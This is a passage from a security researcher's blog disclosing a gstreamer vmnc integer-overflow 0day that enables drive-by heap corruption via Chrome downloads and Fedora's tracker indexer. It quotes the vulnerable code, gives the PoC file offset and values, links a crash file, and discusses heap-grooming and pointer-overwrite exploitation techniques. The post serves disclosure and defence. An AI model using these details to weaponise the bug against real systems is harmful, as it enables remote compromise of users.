<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">More generally, the partitioning of gstreamer decoders into “good”, “bad” and “ugly” makes sense on some levels, but not for security. For security, a partition of “useful” vs. “obscure” might make more sense. The obscure codecs only provide risk -- I’d recommend even removing the automatic UI (accessed by e.g. totem) for installing obscure codecs, because it’s not as if standard users need them unless they are under attack.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The final exploit primitive was the corruption of the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">__free_hook</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> glibc variable. We had to go after a variable like this because on Fedora, the GOT function pointers are read only, and… we don’t like ROP, right? :-) It’s worth noting that other critical function pointers are protected within glibc. For example, both the </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">atexit()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">tls_dtor_list</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> function pointers are protected by xor’ing with a “secret”. By the same underlying reasoning, </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">__free_hook</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is probably attackable enough that it should be similarly protected. The value of doing so against an arbitrary read / write primitive is however debateable.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Code that automatically indexes or thumbnails media files really needs to be sandboxed in this day and age.</span></div>
</li>
</ul>
<span id="docs-internal-guid-e43c4a64-8921-8429-bd08-bc6372b11181"></span><br />
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com13tag:blogger.com,1999:blog-3024470480937744884.post-91042607797603271922016-11-15T13:16:00.000-08:002016-11-15T13:16:00.821-08:00[0day] [PoC] Risky design decisions in Google Chrome and Fedora desktop enable drive-by downloads<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Overview</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">A confluence of two risky design choices, combined with various implementation issues, makes drive-by downloads possible with Google Chrome on Fedora. In total, with the risky design choices first, the issues are:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Chrome will auto download files to a user’s desktop with no confirmation.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Fedora’s “tracker” software will auto crawl downloaded files to index them, including media files.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The “gstreamer” framework, as used to handle media in the Fedora desktop, has questionable implementation quality from a security perspective.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The “tracker” component responsible for parsing media files does not appear to be sandboxed (e.g. with SELinux).</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The Fedora default desktop install includes a range of fairly obscure media decoders that confer risk but are not necessary for a thorough desktop experience.</span></div>
</li>
</ul>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Demonstration and proof of concept</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In the screenshot below, the user of the Chrome browser has visited a (malicious) website and you can see the result is a forced download leading to the side effect of a crash in a process unrelated to the web browser:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><img alt="tracker_crash.png" height="485" src="https://lh6.googleusercontent.com/2Bzlq4c2q8n7inpoq6qgLEXzE4N9ZdRr_uzxXwav67nz_gBk7GNlXMTE-CSIowSJir9Jjtep1CkmVgRZBSq6Felwix5nZzoF5xtsvnjj3EDcOrEg2memOzIKJ1B-bjkTYXVLkx0C" style="-webkit-transform: rotate(0.00rad); border: none; transform: rotate(0.00rad);" width="624" /></span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">“We’re sorry, it looks like the Tracker Metadata Extractor crashed.” It certainly did, without the user needed to do anything other that visit a web page. It is not necessary to click on the button corresponding to the download.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This is in a default install of Fedora 24, but with the gstreamer updates applied (without them, gstreamer doesn’t work correctly). The crashing binary is </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">/usr/libexec/tracker-extract</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. It has ASLR enabled, which is good. But </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">ps -eZ</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> identifies the security context as </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">unconfined_u:unconfined_r:unconfined_t</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which appears unsandboxed. The crash manifests as an out-of-bounds write.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The demo file can be downloaded here: </span><a href="https://security.appspot.com/security/vmnc/vmnc_width_height_int_oflow.avi" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">vmnc_width_height_int_oflow.avi</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">This vulnerability also affects the default install of Ubuntu 16.04, as long as the “mp3” option was selected during install. (This vulnerability appears to go significantly back into history, at least affecting all the way back to Ubuntu 12.04 and it’s older gstreamer-0.10.) Ubuntu doesn’t seem to index desktop files by default though, so the impact on Ubuntu will be less severe but still nasty via e.g. triggering thumbnailing by opening the nautilus file browser in the Downloads directory. Or opening a USB drive. Or e-mailing someone the exploit file and have them open it in a media player.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">0day details</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">(Absent a CVE, you can uniquely identify this as CESA-2016-0002.)</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">The vmnc decoder renders video for a VMware screen capture format. This format is usually contained within an AVI container. The vmnc decoder in the gstreamer code base contains a fairly obvious and simple </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">width * height * depth</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> integer overflow in the allocation of the render buffer. From </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">gst-plugins-bad1.0/gst/vmnc/vmncdec.c</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">static int</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">vmnc_handle_wmvi_rectangle (GstVMncDec * dec, struct RfbRectangle *rect,</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> const guint8 * data, int len, gboolean decode)</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">{</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">…</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> bpp = data[0];</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">…</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> dec->format.bytes_per_pixel = bpp / 8;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> dec->format.width = rect->width;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> dec->format.height = rect->height;</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">…</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> dec->imagedata = g_malloc (dec->format.width * dec->format.height *</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> dec->format.bytes_per_pixel);</span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><br class="kix-line-break" /></span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">…</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">In the above code, </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">rect->width</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> and </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">rect->height</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> are attacker controlled 16-bit unsigned values taken straight from the input file. </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">bpp</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> is also taken from the input file, and is validated to be one of the typical depth values 8, 16, 32.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">To create the PoC, an existing sample file was located from the excellent MPlayerHQ test set: </span><a href="http://samples.mplayerhq.hu/V-codecs/VMnc/test.avi" style="text-decoration: none;"><span style="background-color: transparent; color: #1155cc; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: underline; vertical-align: baseline; white-space: pre-wrap;">test.avi</span></a><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This is a vmnc-inside-avi sample file. All that is changed in the PoC is that the width and height values at file offset 0x201c are changed to 65535 and 32769, respectively. The base image is a 16bpp image, so the calculation on the overflow line is </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">65535 * 32769 * 2</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. In signed 32-bit integer math, the result is 65534. That’s a reasonable sized buffer but subsequent decoding believes that it has a huge 65535 x 32769 canvas to render into. Heap based buffer overflow results.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 700; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Exploitability</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Yes.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">To be a bit more specific, there are a couple of challenges which would make this exploit tricky: firstly, this is 64-bit modern Linux (and in particular, Fedora), where the ASLR is generally pretty good. Secondly, </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: italic; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">the attacker does not have the luxury of attacking this vulnerability from a scripting environment</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. This is key, and makes things much harder, because pointers cannot be readily calculated based on information leaks, decisions cannot be made based on measurements of corruption side effects, etc.</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">However, on the flipside, there are a lot of ways in which the attacker has a lot of control and assistance to exploit this, even without script to help. Let’s enumerate them, we might find the range of possibilities surprising:</span></div>
<div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<br /></div>
<ul style="margin-bottom: 0pt; margin-top: 0pt;">
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Precise control over heap chunk size that is overflowed. By fiddling with the width, height and bpp values that factor into the integer overflow, we can choose a wide range of different chunk sizes to later go off the end of. This means we can corrupt a lot of different areas of the heap depending on what works best.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Surprisingly stable heap layout. The vmnc decoding kicks off on a relatively fresh thread, which typically has a relatively fresh glibc per-thread malloc arena. Heap grooming may only be minimally required, if at all.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Possibility for 3 byte partial pointer overwrites. Because the overflow is kicking off inside a glibc thread area, the alignment of the arena is typically to 16MB or so. This means you can potentially do up to a 3 byte partial pointer overwrite reliably. In the world of partial pointer overwrites, this is a luxury.</span></div>
</li>
<li dir="ltr" style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; list-style-type: disc; text-decoration: none; vertical-align: baseline;"><div dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Excellent heap grooming opportunities inside the vmnc decode loop. Inside the main decode loop, there are lots of opportunities to allocate and free memory, with great control over the sizes. This occurs in </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">vmnc_handle_wmvi_rectangle()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which can reallocate the existing decode buffer, and </span><span style="background-color: transparent; color: black; font-family: Consolas; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">vmnc_handle_wmvd_rectangle()</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 14.666666666666666px; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">, which allocates and frees cursor buffers. This level of control will allow good heap grooming, and the possibility of attacking heap metadata, if no other good opportunities present themselves.</span></div>
</li>
